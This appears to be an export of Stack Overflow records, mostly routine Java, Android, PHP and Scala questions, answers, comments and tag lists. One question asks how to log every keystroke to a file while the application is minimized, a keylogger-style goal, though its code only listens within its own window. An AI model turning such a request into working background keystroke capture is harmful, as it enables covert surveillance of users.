has comment: http://stackoverflow.com/comment/33790409
has comment: http://stackoverflow.com/comment/33791204
has body: You could imagin it like this: You are in location A and your data is at location B where A and B are 5km away from each other. By retieving the data one unit at a time you have to make the travel (read request to be made of the underlying character or byte stream) from A to B each time, thus if you have 100 data units you are going to do the travel 100 times, and this is waht costs time. Wehen Buffering you are like having a truck and when you do a travel you load some amount of data units (the size of the buffer) onto your load floor (the buffer) so that you don't have to make the travel a lot of times and thus be efficient. Usually where you open a file for reading you want to read more that one charachter, therefore a BufferedRead is to be prefered. The same applies for writing too. EDIT First off, FileReader does not read itself, it's the underlying input stream which does. In this case FileInputStream. The BufferedReader manages the FileReasder for you, and it uses in its fill() method the method abstract public int read(char cbuf[], int off, int len) throws IOException; of your Reader to fill the buffuer. It does not use the method which reads only a single character! In other word, when the fill method has to do the travel, it retrieves a range of charcters from the underlying input stream and keeps it in memory, so that when you need to read, it first looks in the buffer, consumes it and re-fills it if necessary. You could achieve the same by calling read(char cbuf[], int off, int len) of FileReader yourself, but then all you will have is a range of charcters which having for example the following text Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. may for example look like this "onsetetur sadipscing elitr,\r\nsed diam nonumy eirmod temp" and you will have to deal with it to find a line of text if you need one. But you dont have to because BufferedRe…
downvote count: 0
has comment: http://stackoverflow.com/comment/33747006
has comment: http://stackoverflow.com/comment/33777943
has comment: http://stackoverflow.com/comment/33790521

http://stackoverflow.com/q/22303363
type: Question
has title: Is there a way to dynamically implement a trait/interface
tagged with: java
downvote count: 0
favorite count: 0
type: UnansweredQuestion
has body: I am partially rewriting a java project in scala. For the persistence layer in the project I have a set of entities defined as interfaces with concrete implementations. I am rewriting the persistence layer with squeryl. I am trying to establish the most efficient way to bridge these types when calling the legacy code which will refer to these interfaces. So I have say in my legacy java code the following interface: public interface Author { public void setName(String name); public String getName(); // etc } void someLegacyFunc(Author author) // ... And then in my new scala code I would have the following squeryl object class Author ( val name: String; // etc ... ) I know I can bridge these two doing the following: class AuthorBridge(author: Author) implemenets legacy.Author { public void setName(String: name) = author.name = name public String getName() = author.name // etc. } However it is a very large library and I would like to avoid having to define a whole new set of bridge objects if possible. I am wondering if scala reflection might provide some more dynamic way of doing this along the following lines: object Bridge { def get[Legacy, Entity](entity: Entity): Legacy { // builds an anonymous implementation of Legacy // binding all the getter/setter methods to the entity's attributes } } val legacyAuthor = getAuthor(author) Thanks Des
has comment: http://stackoverflow.com/comment/33889443
linked to: http://stackoverflow.com/q/3254232
answer count: 0
score: 1
tagged with: scala
duplicate of: http://stackoverflow.com/q/3254232
upvote count: 1

http://stackoverflow.com/q/22254659
tagged with: java
has comment: http://stackoverflow.com/comment/33802913
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/103357468
tagged with: php
has comment: http://stackoverflow.com/comment/33800363
has body: I have a Java method that I need to implement in PHP. It is to create an authentication string to gain access to an API. It consists of a code given by the company as well as an API key, also given by the company, and, according to the Java example below, it also includes a GMT timestamp in minutes since epoch. According to the documentation it says "The timestamp calculated as the number of minutes passed since epoch. A GMT time zone must be used for calculating the timestamp. If the system time of a requesting server is off by more than one minute from actual current time , the call will be rejected by the server with a 400 Bad Request code". I have to provide as parameters the code as well as the SHA-256 encrypted token that I create. Here is the Java: String createToken() { String token = ""; MessageDigest lclMD = null; try { lclMD = MessageDigest.getInstance("SHA-256"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } lclMD.update((EnvConstants.code + EnvConstants.api_key + Long.toString(getEpochMinutes())).getBytes()); byte[] lclResult = lclMD.digest(); sig = new String(Hex.encodeHex(lclResult)); return token; } long getEpochMinutes () { Calendar cal = Calendar.getInstance(TimeZone.getTimeZone("GMT")); long now = System.currentTimeMillis(); cal.setTimeInMillis(now); return (cal.getTimeInMillis() / 60000L); } This is what I have tried in PHP: $time = (string)time()/60; // to get the minutes since epoch, I have also tried it not casting it to a string $code = 'thisisthecode'; $api_key = 'XXXXXXX'; $hash = hash('sha256', $code . $api_key . $time); $curl = curl_init(); $url = "http://api.url/user/XXXX?code=thisisthecode&amp;token=$hash"; curl_setopt($curl, CURLOPT_URL, $url); $result = curl_exec($curl); return $result; When I run this code I always get a 400 Bad Request error. To be clear, I don't know Java and now I'm guessing if I know PHP well enough because I can't get this to work. Can anyone help me out with this? I'm banging my head against the…
linked to: http://stackoverflow.com/q/44963287
tagged with: sha256
type: UnansweredQuestion
tagged with: encryption
has answer: http://stackoverflow.com/a/58515072
has title: Is there a PHP equivalent to Java MessageDigest
type: Question

http://stackoverflow.com/comment/33807555
comment on: http://stackoverflow.com/a/22185983
score: 0
type: AnswerComment
type: Comment
has text: That was an error, I can't believe I missed that! I still had the error after fixing it though. I am very new to java.

message
tags question: http://stackoverflow.com/q/22187648
tag name: message
type: Tag

http://stackoverflow.com/comment/33785857
has text: Creating a `Shell` like that is not usual, you should be using `cellEditorWindow.getShell()` as the parent shell of your `ConstraintDialog`.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22236909

deserialization
type: Tag
tags question: http://stackoverflow.com/q/22183849
tags question: http://stackoverflow.com/q/22307382
tags question: http://stackoverflow.com/q/22293273
tag name: deserialization
tags question: http://stackoverflow.com/q/22257701

http://stackoverflow.com/comment/33765391
comment on: http://stackoverflow.com/a/22235446
type: Comment
score: 0
has text: Im guessing this answer would be beyond the learning curve of the original quesion. With other words, the chapter Maps has not yet been reached.
type: AnswerComment

http://stackoverflow.com/a/22274222
answers question: http://stackoverflow.com/q/22274167
has comment: http://stackoverflow.com/comment/33835612
score: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/33835586
type: Answer
downvote count: 1
has body: Yes it is possible, as long as you method returns a value. For example: public SomeReturnType doSomthing(){ return someReturnType; } and in your hashmap do the following HashMap&lt;String, SomeReturnType&gt; hm = new HashMap&lt;String, SomeReturnType&gt;(); Boolean is probably the best option when comparing in a method.

http://stackoverflow.com/q/22192499
favorite count: 0
type: Question
tagged with: android
has body: I looked into different posts or sites to help me to do an app which can connect to an open wifi network (name: OpenWrt). I can't connect with the app unless I manually do it before. Could someone please look into this and help me? :) I should maybe add the network to the networks list on the phone, but I'm not sure how to do it, if it is the problem. Thank you! package com.example.wificonnect; import java.util.List; import android.app.Activity; import android.net.wifi.WifiConfiguration; import android.net.wifi.WifiManager; import android.os.Bundle; import android.content.Context; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Définition du réseau wifi auquel on se connecte String networkSSID = "\"OpenWrt\""; WifiManager wifiManager = (WifiManager) getSystemService(Context.WIFI_SERVICE); // Configuration des paramètres de connexion WifiConfiguration conf = new WifiConfiguration(); conf.SSID = networkSSID; conf.wepTxKeyIndex = 0; conf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE); conf.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.WEP40); conf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE); // Activation du wifi si pas encore activé if(wifiManager.isWifiEnabled()) { wifiManager.setWifiEnabled(false); } else { wifiManager.setWifiEnabled(true); } int netId = wifiManager.addNetwork(conf); wifiManager.enableNetwork(netId, true); wifiManager.setWifiEnabled(true); } } I also add permissions: &lt;uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /&gt; &lt;uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /&gt; &lt;uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /&gt; EDIT: Should I add something like this just after the wifi activation? int networkId = -1; if(wifiManager…
upvote count: 1
has comment: http://stackoverflow.com/comment/33689091
answer count: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33689339
has comment: http://stackoverflow.com/comment/33688035
has title: Connect to an open network with Android (Java)
downvote count: 0
type: UnansweredQuestion
tagged with: android-wifi
has comment: http://stackoverflow.com/comment/33688929
score: 1
has answer: http://stackoverflow.com/a/60445466
has comment: http://stackoverflow.com/comment/33688974

http://stackoverflow.com/a/22311135
type: Answer
answers question: http://stackoverflow.com/q/22309005
has comment: http://stackoverflow.com/comment/70565545
upvote count: 1
score: 1
downvote count: 0
has body: Code: String myString = "/command this is the text we want to grab right here"; myString = myString.subStr( myString.indexOf( ' ' ) + 1); Explanation: So if you have a String myString = "/command this is what we want", then you can seperate that first word by using .subStr(). subStr() has 2 versions, one with one parameter which is the starting point and gives you the string to the end, and another with two parameters which are the starting point and ending point and that gives you the string in between those locations. Since we are getting the string from a certain position to the end, we are using the first method with one parameter. What will that parameter be? Well we know that the first character we want is right after the space after /command. So it is the location one after first space in the line. How do we get the location of the first space? Easy, String has a built in method indexOf() which can take in a String or a char and will return the location of the first occurrence of what we passed in. We will pass in the char ' ' to indexOf(char c) since we want to find the location of the first space. Because once we know the location of the first space, we can go one after that and have the location of the start of what we need. Then we will pass that to subStr(int location) to get the string from that location to the end, and that is what we want. So all of this sounds very complicated but the code is self explanatory: String myString = "/command this is the text we want to grab right here"; myString = myString.subStr( myString.indexOf( ' ' ) + 1);

http://stackoverflow.com/a/22322025
has comment: http://stackoverflow.com/comment/33925802
answers question: http://stackoverflow.com/q/22320271
has comment: http://stackoverflow.com/comment/33926620
has comment: http://stackoverflow.com/comment/33925346
score: 2
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/33924330
upvote count: 2
has comment: http://stackoverflow.com/comment/33927125
has comment: http://stackoverflow.com/comment/33921916
has body: Log4j2 supports filters, I believe fairly similar to Logback. It sounds like you are looking for filtering based on level, you can do this with the ThresholdFilter. Or perhaps you are looking for something like the RoutingAppender (see FAQ for an extended example)? This allows you to configure multiple appenders and dynamically route log events to different appenders based on the ThreadContext map.

http://stackoverflow.com/comment/33680198
comment on: http://stackoverflow.com/q/22187651
has text: There are several reasons for that, javassist has a lot of functionality and a huge code base. CtClass for example is over 1500 lines of code. What I'm after is a small fraction which I haven't been able to find in the code base yet. So I figured someone may already know this and show me the right direction, along with looking for the needle in the haystack I tried asking about it here.
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33896908
has text: not really. Your visual components are in your fragments.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22307677

search-engine
type: Tag
tags question: http://stackoverflow.com/q/22325644
tag name: search-engine

http://stackoverflow.com/a/22194292
has comment: http://stackoverflow.com/comment/33691305
has comment: http://stackoverflow.com/comment/33692061
answers question: http://stackoverflow.com/q/22193920
has comment: http://stackoverflow.com/comment/33692412
score: 0
has body: This should work this.addWindowListener(new WindowListener() { @Override public void windowClosed(WindowEvent e) { System.out.println("RAN EVENT HANDLER"); } });
type: Answer
has comment: http://stackoverflow.com/comment/33691735
has comment: http://stackoverflow.com/comment/33691477
has comment: http://stackoverflow.com/comment/33691774
has comment: http://stackoverflow.com/comment/33692104

http://stackoverflow.com/q/22188008
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33680200
has title: Continuously forward and reverse Transition?
tagged with: java
has body: I am trying to develop an activity for emergency situations. I want that background must change according to a transition xml continuously. Transition is between colors black and red. I implemented a counter and when it ends I started it again to use it infinitely. Here is my code : package com.example.transitionbetweencolors; import android.os.Bundle; import android.os.CountDownTimer; import android.app.Activity; import android.graphics.drawable.TransitionDrawable; import android.view.Menu; import android.widget.RelativeLayout; public class MainActivity extends Activity { RelativeLayout relative_layout; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); relative_layout = (RelativeLayout) findViewById(R.id.my_relative_layout); relative_layout.setBackgroundResource(R.drawable.transition_colors); final TransitionDrawable drawable = (TransitionDrawable) relative_layout.getBackground(); CountDownTimer x = new CountDownTimer(1000, 1000) { public void onTick(long millisUntilFinished) { drawable.startTransition(1000); } public void onFinish() { // showNotification(); drawable.reverseTransition(1000); start();// here, when your CountDownTimer has finished , we start it again :) } }; x.start(); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } } But I couldn't get what I want from my code. It does forward transition, and then it does reverse transition. It does this 3 or 4 time and at that time something happens, continuity break downs. It starts to cycle again in the same manner. Any suggestions or any other ideas would be welcome.
tagged with: transition
type: Question
tagged with: infinite-loop
score: 0
tagged with: android
tagged with: freeze
has comment: http://stackoverflow.com/comment/33680136
answer count: 0
has comment: http://stackoverflow.com/comment/33680228

http://stackoverflow.com/comment/34137545
comment on: http://stackoverflow.com/a/22291613
type: Comment
score: 0
has text: it returns org.hibernate.exception.GenericJDBCException: could not execute statement
type: AnswerComment

http://stackoverflow.com/q/22249329
has answer: http://stackoverflow.com/a/22249503
has comment: http://stackoverflow.com/comment/33790334
downvote count: 1
has comment: http://stackoverflow.com/comment/33790227
has title: required String[] found String Java
type: Question
possible better answer: http://stackoverflow.com/a/22249496
score: 0
answer count: 2
upvote count: 1
tagged with: string
favorite count: 0
has answer: http://stackoverflow.com/a/22249496
tagged with: encryption
accepted answer: http://stackoverflow.com/a/22249503
has body: Im trying to cycle through a byte array and decode it into a string, using RSA encryption, the encryption works with out an array but I am trying to make it usable for longer data, by encrypting each word of the string, but when doing this i get the error required String[] found String Java. // Decrypt the cipher text using the private key. inputStream = new ObjectInputStream(new FileInputStream(PRIVATE_KEY_FILE)); final PrivateKey privateKey = (PrivateKey) inputStream.readObject(); String[][] decryptedText = new String[cipherText.length][]; for (int i = 0; i &lt; cipherText.length; i++) { **ERROR ON THIS LINE - required String[] found String Java** decryptedText[i] = decrypt(cipherText[i], privateKey); } the decrypt method public static String decrypt(byte[] text, PrivateKey key) { byte[] dectyptedText = null; try { // get an RSA cipher object and print the provider final Cipher cipher = Cipher.getInstance(ALGORITHM); // decrypt the text using the private key cipher.init(Cipher.DECRYPT_MODE, key); dectyptedText = cipher.doFinal(text); } catch (InvalidKeyException | NoSuchAlgorithmException | BadPaddingException |IllegalBlockSizeException | NoSuchPaddingException ex) { } return new String(dectyptedText); } Encrypt Method public static byte[] encrypt(String text, PublicKey key) { byte[] cipherText = null; try { // get an RSA cipher object and print the provider final Cipher cipher = Cipher.getInstance(ALGORITHM); // encrypt the plain text using the public key cipher.init(Cipher.ENCRYPT_MODE, key); cipherText = cipher.doFinal(text.getBytes()); } catch (InvalidKeyException | NoSuchAlgorithmException | BadPaddingException | IllegalBlockSizeException | NoSuchPaddingException e) { } return cipherText; }
type: AnsweredQuestion
tagged with: java
tagged with: rsa

http://stackoverflow.com/a/22171560
upvote count: 3
type: AcceptedAnswer
type: Answer
score: 3
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22170749
answers question: http://stackoverflow.com/q/22170749
has body: this is why you cant have your morning coffee: private void setPostTask(final Task postTask) { this.postTask = postTask; } a task can only have a single post task, and in your case cup needs to have 2 - coffee and milk. make postTask into postTasks

http://stackoverflow.com/comment/46036647
score: 0
type: QuestionComment
has text: Thank you, Tom, I deleted info about version from topic. Unfortunatelly now I don't have access to machine, where problem occurred, so I can't mark any of suggested answers as correct answer, I'm very sorry.
type: Comment
comment on: http://stackoverflow.com/q/22225764

http://stackoverflow.com/q/22248716
upvote count: 1
has comment: http://stackoverflow.com/comment/33789055
tagged with: string
has body: Here's code: List&lt;SelectOption&lt;String&gt;&gt; validMemberList = ValidDataUtil.getValidMemberType(); Can anyone tell me : How can convert the List&lt;SelectOption&lt;Integer&gt;&gt; to List&lt;SelectOption&lt;String&gt;&gt; ?
favorite count: 0
has answer: http://stackoverflow.com/a/22248782
tagged with: generics
tagged with: integer
type: AnsweredQuestion
downvote count: 0
tagged with: collections
has title: Type mismatch: cannot convert from List<SelectOption<Integer>> to List<SelectOption<String>>?
type: Question
has comment: http://stackoverflow.com/comment/33789111
score: 1
has answer: http://stackoverflow.com/a/22248766
tagged with: java
accepted answer: http://stackoverflow.com/a/22248766
possible better answer: http://stackoverflow.com/a/22248782
answer count: 2

http://stackoverflow.com/comment/33824463
has text: Your other data structure examples aren't helpful - an ArrayList provides indexed access. Maybe update to include specific Java collections? (e.g. ArrayList vs LinkedList)
type: Comment
comment on: http://stackoverflow.com/a/22267983
score: 1
type: AnswerComment

http://stackoverflow.com/comment/102584610
has text: @Avenger where the "appsecret" define in c# code?
comment on: http://stackoverflow.com/q/22271311
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22249430
type: Question
downvote count: 0
tagged with: string
has comment: http://stackoverflow.com/comment/33790377
has answer: http://stackoverflow.com/a/22251260
has body: I have to mention that I still don't understand how regexs work. Please have a look at the below code. titleAndBodyContainer = titleAndBodyContainer.replaceAll("\\.(?=\\s|$)", " "); Here, titleAndBodyContainer is a String. But, what does it replace with a space? Full stop? Comma? Question mark?
tagged with: regex
favorite count: 0
answer count: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22249563
upvote count: 1
has answer: http://stackoverflow.com/a/22249493
has answer: http://stackoverflow.com/a/22249470
has answer: http://stackoverflow.com/a/22249826
score: 1
tagged with: java
has title: What does this Regex replace?

http://stackoverflow.com/comment/33897752
score: 0
type: Comment
type: QuestionComment
has text: What means "stop Working"? Does it Force close, and can you post a LogCat?
comment on: http://stackoverflow.com/q/22308564

http://stackoverflow.com/comment/33694861
score: 0
type: Comment
has text: your answer is very wonderful and I liked the way you styled the text pane. But one more thing, I want the JTextPane to continue horizontally when the space doesn't fit instead of wrapping the words to the next line. How do I achieve that in this example? Thx
comment on: http://stackoverflow.com/a/22185053
type: AnswerComment

http://stackoverflow.com/comment/43442880
type: Comment
has text: a) Meant to say (edited now), that PostgreSQL "point" type isn't supported at all by the hibernate provided dialects, no matter what Java type you're trying to map to. b) If there's no reason to use PostgreSQL "point" type in the first place, one may try to use a JPA 2.1 `AttributeConverter` (requires hibernate >= 4.3).
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/27505431

http://stackoverflow.com/q/22287227
answer count: 4
type: AnsweredQuestion
has body: I am working on project that is a spam filter for an email client. public MailServer() { mailMap = new HashMap&lt;String,ArrayList&lt;MailItem&gt;&gt;(); } I was instructed to use a HashMap to store the recipients and ArrayLists to hold their mailItems. The next method is to count and return the mailItems for a specific recipient. public int howManyMailItems(String who) { int count = 0; for(MailItem item : mailMap) { if(item.getTo().equals(who)) { count++; } } return count; } Edit I'm working in BlueJ and when I try to compile the class it highlights mailMap in the 4th line and says "for-each loop not appicable" public int howManyMailItems(String who) { int count = 0; for(MailItem item : mailMap.keySet()) { if(item.getTo().equals(who)) { count++; } } return count; } When I try a keySet it says incompatible types.
possible better answer: http://stackoverflow.com/a/22287265
tagged with: java
has answer: http://stackoverflow.com/a/22287265
has answer: http://stackoverflow.com/a/22287275
type: Question
tagged with: hashmap
has answer: http://stackoverflow.com/a/22287484
accepted answer: http://stackoverflow.com/a/22287342
has title: Return the size of an ArrayList that is a value in a HashMap
has comment: http://stackoverflow.com/comment/33859401
tagged with: arraylist
score: 0
has comment: http://stackoverflow.com/comment/33859408
linked to: http://stackoverflow.com/q/1066589
has answer: http://stackoverflow.com/a/22287342
has comment: http://stackoverflow.com/comment/33859420
has comment: http://stackoverflow.com/comment/33859352

http://stackoverflow.com/a/22287533
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22287279
has body: This won't compile public class Comparator implements Comparator&lt;Plane&gt; { public int compare(Plane CustomerID[], Plane CustomerID[]) { } } You are breaking the contract. See this code for a possible solution. PlaneSeat class definition public class PlaneSeat { //Create your custom comparator strategy public static final Comparator&lt;PlaneSeat&gt; CUSTOMER_COMPARATOR = new CustomerComparator(); //fields private final Integer customerID; public PlaneSeat(Integer customerID){ this.customerID= customerID; } private static class CustomerComparator implements Comparator&lt;PlaneSeat&gt;{ @Override public int compare(PlaneSeat o1, PlaneSeat o2) { return o1.customerID.compareTo(o2.customerID); } } @Override public String toString() { return "PlaneSeat [customerID=" + customerID + "]"; } } Plane class public class Plane{ private List&lt;PlaneSeat&gt; seats; public List&lt;PlaneSeat&gt; getSeats() { return seats; } public void setSeats(List&lt;PlaneSeat&gt; seats) { this.seats = seats; } public void sortSeatsByCustomer(){ Collections.sort(seats,PlaneSeat.CUSTOMER_COMPARATOR); } @Override public String toString() { return "Plane [seats=" + seats + "]"; } } Then in your client code: public static void main(String args []){ List&lt;PlaneSeat&gt; seats = new ArrayList&lt;&gt;(); for(int i =10;i&gt;0;i--) seats.add(new PlaneSeat(i--)); Plane plane = new Plane(); plane.setSeats(seats); System.out.println(plane);//print before sorting plane.sortByCustomers(); System.out.println(plane);//after sorting by customer }
downvote count: 0

http://stackoverflow.com/comment/33866805
type: Comment
comment on: http://stackoverflow.com/q/22291016
score: 0
type: QuestionComment
has text: I tried with `1000` milliseconds no change having problem again

http://stackoverflow.com/comment/58420799
comment on: http://stackoverflow.com/a/22259885
has text: The confusing part to me is, in the example "a_b", as it splits on each non-whitespace character, why "_" is included in the result one. Similarly, you gave the example above "x x" which results [""," "] . But, you made the statement, "Important part is that by default split removes trailing empty strings", if it removes trailing empty strings and the part after it, why that empty string is included in the result?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/33868033
type: QuestionComment
score: 1
has text: can you post the json object that you parse/
comment on: http://stackoverflow.com/q/22291968
type: Comment

http://stackoverflow.com/comment/33818374
has text: @Solace You have to include only the code which needs to be here in the `try`, and in that case, if you don't include the `while` in the try, you will have *another* exception when you get a `FileNotFoundException` because `inFile` will be `null`, so the `while` *needs to be* in the `try`.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22264034

http://stackoverflow.com/q/22293175
type: UnansweredQuestion
tagged with: multithreading
type: Question
has comment: http://stackoverflow.com/comment/33871732
has comment: http://stackoverflow.com/comment/33871054
has comment: http://stackoverflow.com/comment/33869965
tagged with: java
tagged with: background
has comment: http://stackoverflow.com/comment/33869994
has comment: http://stackoverflow.com/comment/33870020
has title: How to use keyboard keys in background when application is minimized in JAVA
answer count: 1
downvote count: 0
has body: I am working in JAVA application which requires that - Get all the keys which is pressed by user in separate txt file. - Get the keys in background when Application is minimized. I have no idea how to do this currently I am Working in following Code. public class KeyChecker1 extends JFrame { public static JLabel keyLabel = new JLabel("Hit any key"); public KeyChecker1() { super("Hit a Key"); KeyMonitor1 monitor = new KeyMonitor1(this); addKeyListener(monitor); setFocusable(true); setVisible(true); } public static void main(String[] arguments) { new KeyChecker1(); } } class KeyMonitor1 extends KeyAdapter { KeyChecker1 display; public static Thread t1key, t2; KeyMonitor1(KeyChecker1 display) { this.display = display; } public void keyPressed(final KeyEvent event) { t1key = new Thread() { @Override public void run() { try { boolean caps_lock = Toolkit.getDefaultToolkit().getLockingKeyState(KeyEvent.VK_CAPS_LOCK); switch (event.getKeyCode()) { case KeyEvent.VK_F1: System.out.print("[F1]"); break; case KeyEvent.VK_F2: System.out.print("[F2]"); break; case KeyEvent.VK_F3: System.out.print("[F3]"); break; case KeyEvent.VK_F4: System.out.print("[F4]"); break; case KeyEvent.VK_F5: System.out.print("[F5]"); break; case KeyEvent.VK_F6: System.out.print("[F6]"); break; case KeyEvent.VK_F7: System.out.print("[F7]"); break; case KeyEvent.VK_F8: System.out.print("[F8]"); break; case KeyEvent.VK_F9: System.out.print("[F9]"); break; case KeyEvent.VK_F10: System.out.print("[F10]"); break; . . . } } catch (Exception ex) { Logger.getLogger(Dashboard.class.getName()).log(Level.SEVERE, null, ex); } } }; t1key.start(); } } It working well when application is running but I want to Run the same functionality when the application is running in background (Minimized). Please help me for this. Thanks in advance.
tagged with: key
tagged with: keyboard
favorite count: 0
has answer: http://stackoverflow.com/a/44936617
score: 2
upvote count: 2

tomcat
tags question: http://stackoverflow.com/q/22201536
tags question: http://stackoverflow.com/q/22174710
tags question: http://stackoverflow.com/q/22192418
tags question: http://stackoverflow.com/q/22286847
tags question: http://stackoverflow.com/q/22282722
tags question: http://stackoverflow.com/q/22259769
tags question: http://stackoverflow.com/q/22244460
tags question: http://stackoverflow.com/q/22205629
tags question: http://stackoverflow.com/q/22201659
tags question: http://stackoverflow.com/q/22172115
tags question: http://stackoverflow.com/q/22259177
tags question: http://stackoverflow.com/q/22301310
tags question: http://stackoverflow.com/q/22213684
tags question: http://stackoverflow.com/q/22326616
tags question: http://stackoverflow.com/q/22304913
tags question: http://stackoverflow.com/q/22323986
tags question: http://stackoverflow.com/q/22216340
tags question: http://stackoverflow.com/q/22322032
tags question: http://stackoverflow.com/q/22239678
tag name: tomcat
tags question: http://stackoverflow.com/q/22193072
tags question: http://stackoverflow.com/q/22228055
tags question: http://stackoverflow.com/q/22286181
tags question: http://stackoverflow.com/q/22308073
tags question: http://stackoverflow.com/q/22310099
tags question: http://stackoverflow.com/q/22232168
tags question: http://stackoverflow.com/q/22224341
tags question: http://stackoverflow.com/q/22286124
tags question: http://stackoverflow.com/q/22289469
tags question: http://stackoverflow.com/q/22301708
tags question: http://stackoverflow.com/q/22282620
tags question: http://stackoverflow.com/q/22304871
tags question: http://stackoverflow.com/q/22198729
tags question: http://stackoverflow.com/q/22273713
tags question: http://stackoverflow.com/q/22201265
tags question: http://stackoverflow.com/q/22298118
tags question: http://stackoverflow.com/q/22321241
tags question: http://stackoverflow.com/q/22305541
tags question: http://stackoverflow.com/q/22225764
tags question: http://stackoverflow.com/q/22244345
tags question: http://stackoverflow.com/q/22282517
tags question: http://stackoverflow.com/q/22325472
tags question: http://stackoverflow.com/q/22304540
tags question: http://stackoverflow.com/q/22221214
type: Tag
tags question: http://stackoverflow.com/q/22255731
tags question: http://stackoverflow.com/q/22250500
tags question: http://stackoverflow.com/q/22298067
tags question: http://stackoverflow.com/q/22290035
tags question: http://stackoverflow.com/q/22256785
tags question: http://stackoverflow.com/q/22257079
tags question: http://stackoverflow.com/q/22172328
tags question: http://stackoverflow.com/q/22248348
tags question: http://stackoverflow.com/q/22199504
tags question: http://stackoverflow.com/q/22270755
tags question: http://stackoverflow.com/q/22245477
tags question: http://stackoverflow.com/q/22311464
tags question: http://stackoverflow.com/q/22317434
tags question: http://stackoverflow.com/q/22249532
tags question: http://stackoverflow.com/q/22277376
tags question: http://stackoverflow.com/q/22238399
tags question: http://stackoverflow.com/q/22218807
tags question: http://stackoverflow.com/q/22171962

http://stackoverflow.com/q/22266577
has answer: http://stackoverflow.com/a/22266667
tagged with: java
linked to: http://stackoverflow.com/q/3776327
type: Question
score: 0
has body: I have to implement the alpha beta prunning algorithm for the game 4Connect. I have to implement the method with generics: public M getBestMove() throws GameException { I don't really know what the statement "throws GameException" means. I tried to write my own exception. but I never did it before, so I could need some help from you
answer count: 1
has comment: http://stackoverflow.com/comment/33824949
has title: alpha beta prunning generics, writing an exception
type: UnansweredQuestion

http://stackoverflow.com/q/22230184
type: UnansweredQuestion
tagged with: web-services
has body: I'm looking to implement a very simple REST web service in Java. This is not my primary line of work, so everything is new to me. I've been researching Java and JAX-RS implementations. They do not appear to be that difficult, but I haven't been able to understand the lifetime of the service and how it is created by the web server. I'm afraid that my service may have to do some costly initialization, such as load a bunch of setup data from a file or resource in order to be able to process the requests. I do not know if I want it to have to do that each time it has to process a request. So, my question is, what is the lifetime of my service? Can I load a bunch of parameters for my web service from a file before responding to requests? The parameters I need to load do not change and should be the same for all requests (therefore, it is stateless), but I'll need to be able to load that data from somewhere and I'm worried that it will forced to do it for each request. So, can my web service "live" or be cached such that it only needs to do that initialization once, or once per thread, but not once per request? edit: I haven't decided yet which JAX-RS implementation to use or which server. I'm just interested in the fact that, it can be done, and if it matters which implementation I choose.
tagged with: java
has title: Lifetime and Initialization for Java REST service
type: Question
has answer: http://stackoverflow.com/a/22230924
score: 0
tagged with: rest
answer count: 1
tagged with: jax-rs

http://stackoverflow.com/a/22267717
has body: Here is some Java source code: int i = 0; i = i + 1; i += 1; ++i; i++; And here is the corresponding Java byte code, obtained by javap -c: 0: iconst_0 1: istore_1 2: iload_1 3: iconst_1 4: iadd 5: istore_1 6: iinc 1, 1 9: iinc 1, 1 12: iinc 1, 1 As you can see, the last three syntactic forms compile to the same JVM instruction iinc. The first one generates more byte code, but I'd be surprised if the JIT compiler didn't optimize that difference away.
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/22266249
score: 1
downvote count: 0

http://stackoverflow.com/q/22228055
downvote count: 0
tagged with: tomcat
favorite count: 0
has comment: http://stackoverflow.com/comment/33755288
has comment: http://stackoverflow.com/comment/33752277
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/33752918
answer count: 0
type: UnansweredQuestion
score: 1
has title: Load resource referencing ressources in Java Webapp
upvote count: 1
tagged with: xslt
type: Question
tagged with: java
has body: I got a xslt transformation done with something like this: public static String transform(Source xml, String xsltPath) { try { InputStream is = MyClass.class.getResourceAsStream(xsltPath); final Source xslt = new StreamSource(is); final TransformerFactory transFact = TransformerFactory.newInstance(); final Transformer trans = transFact.newTransformer(xslt); final OutputStream os = new ByteArrayOutputStream(); final StreamResult result = new StreamResult(os); trans.transform(xml, new StreamResult(os)); final String theResult = result.getOutputStream().toString(); return theResult; } catch (TransformerException e) { return null; } } As you can see xslt is loaded from resources. The function together with the transformation files i need are bundled in a library and this works as long as the library is stand alone from a main method or so. However if this library is bundled with a webapplication and deployed in Jetty/Tomcat it gets a bit complicated. As long as the transformation files in it self do not reference any other files from resources there is no problem but with files like this: &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;xsl:stylesheet&gt; &lt;xsl:import href="import_file1.xsl" /&gt; &lt;xsl:import href="import_file2.xsl" /&gt; &lt;xsl:template name="aTtemplate"&gt; &lt;xsl:for-each select="document('import_file3.xml')"&gt; ... &lt;/xsl:for-each&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; The 